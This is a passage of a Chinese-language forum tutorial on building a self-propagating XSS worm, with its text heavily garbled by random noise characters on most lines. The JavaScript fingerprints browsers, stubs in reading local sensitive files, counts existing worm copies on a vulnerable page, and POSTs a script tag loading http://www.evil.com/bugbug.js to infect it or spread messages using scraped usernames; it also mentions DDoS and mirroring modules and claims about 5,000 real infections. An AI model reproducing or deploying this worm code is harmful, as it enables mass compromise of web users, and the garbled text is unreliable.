4 i" u/ e& A! O# a' y/ k8 K b0 w1 h3 x# C0 g! Q! E9 ~* D! t
}
4 m. {' J# Q @+ {6 z7 _8 c# T/ @9 `0 [% X+ U3 N4 ? q
6 T; m% q. `2 ^$ b3 d/ u" f
1 |( ^: n, C4 Q7 b5 x
navigator.Actual_Name=Actual_Name;+ C4 F# `! ~7 h2 y _ z7 d
) H) h" s4 H* Q; C# ~
navigator.Actual_Version=Actual_Version;' e7 T- Z3 m5 ]' X% I; W
; T1 D2 ~3 v3 ^
' _/ |$ n: q! e3 V+ k2 Y R. Z( r: s) N! I
this.Name=Actual_Name;+ }8 Y$ u0 y1 B6 m K% l- O
2 k; S2 D, L, b& W, t, ~6 g, O
this.Version=Actual_Version;
6 R0 q: H& x5 X8 G- q. o% ]# u5 m; y( {* D3 F; M7 S
}
! L* c/ X: c8 B; r' m$ F5 v4 _& S
browserinfo();
4 ^, a [' R% `" |5 L' i3 d D; J% d
6 O1 T n2 M Z/ A2 H; ? e if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
4 S" m" P: M2 {* u. k% r; O' O2 \! u' r; n- w7 T: |2 j
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
7 a: ?1 l) T2 u/ E! A% J. y N3 p3 N$ c6 M" }& R$ M
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
4 [) G1 G3 o9 L+ v, s; z! d8 e' ^9 q( i: P
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}1 |/ _' R# t) C# ^
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
: d* v% Y( g/ L* r/ C1 `复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码. m! x" a. a1 N, ?6 d0 L
复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面.) H$ Y; P c% r/ A1 x
0 E6 h% j O2 \1 txmlHttpReq.send(null);
, J4 V- G7 ~7 r0 U6 }7 i
9 n5 F1 u, D. F+ [' _+ avar resource = xmlHttpReq.responseText;7 h% R& M# j8 o. k' ]" _
" s7 l; H6 S2 {* b7 B' K. |- S# i
var id=0;var result;
) ~) M2 q8 F, T1 r5 f" T( Q8 d E! v9 e+ \$ }8 _2 V# X% u
var patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.+ n1 O6 g' r4 K& p
( J' q; d2 [. J- ]$ A6 Q; [
while ((result = patt.exec(resource)) != null) {5 Q5 t! L" U3 C) ?
$ y+ z- _) R" L4 I% M) p
id++;
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}
2 C. m' `- |1 N' n; e复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.
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1 u. r& u D: n$ R$ k* `no=resource.search(/my name is/);
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var wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码." S2 l7 ~8 l7 G2 `
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var post="wd="+wd;2 W; c9 s3 q% B& O z
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xmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去.7 z7 I: O! O; I" @" g1 e
/ }! g. N2 Q7 \2 J: ^( VxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
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, {# J* U8 s, X1 b, Q. p7 `xmlHttpReq.setRequestHeader("content-length",post.length);
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2 M0 p6 ]6 D1 {1 p3 Y( cxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
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xmlHttpReq.send(post);
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复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
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7 @- J. e8 w( X9 R1 rvar no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方4 `4 a* l+ S7 T/ K* O$ {% ?
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var namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.
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# u: z6 b! P" F1 N/ t- N8 v. Qvar wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.- ^7 g5 b7 w! p3 ^' t
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var post="wd="+wd;
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xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");6 @$ _5 d' U4 K
. T, c8 K( w1 \2 ZxmlHttpReq.setRequestHeader("content-length",post.length); 9 n% x6 A+ g' ?- C; s
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xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");5 \; k/ j: Z/ ]7 e! q
$ N7 {2 E3 o2 ^6 d) xxmlHttpReq.send(post); //把传播的信息 POST出去.6 _6 {3 ]; s* g3 F9 p+ ]
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}
5 f* |/ I& k! ]% w复制代码-----------------------------------------------------总结-------------------------------------------------------------------
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: }9 T9 T- i; [6 {" L3 p本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
1 o8 _ n8 z @& [' M: v9 x$ O0 L蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能., d" ~! O5 x, h! B: ^
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.% Z) V% ?6 E3 X, n! A
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本文引用文档资料:* a7 ^- l) j6 f: x- {3 z& I
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"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
) I7 @0 g" a3 c' r) G$ cOther XmlHttpRequest tricks (Amit Klein, January 2003). j7 T/ Y7 q2 ^3 A% V- u- U
"Cross Site Tracing" (Jeremiah Grossman, January 2003), X. U5 | {7 P) w0 [) ?
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog/ W3 f9 Q4 m5 h$ R
空虚浪子心BLOG http://www.inbreak.net& Y% U* d7 h3 _/ L* U
Xeye Team http://xeye.us/
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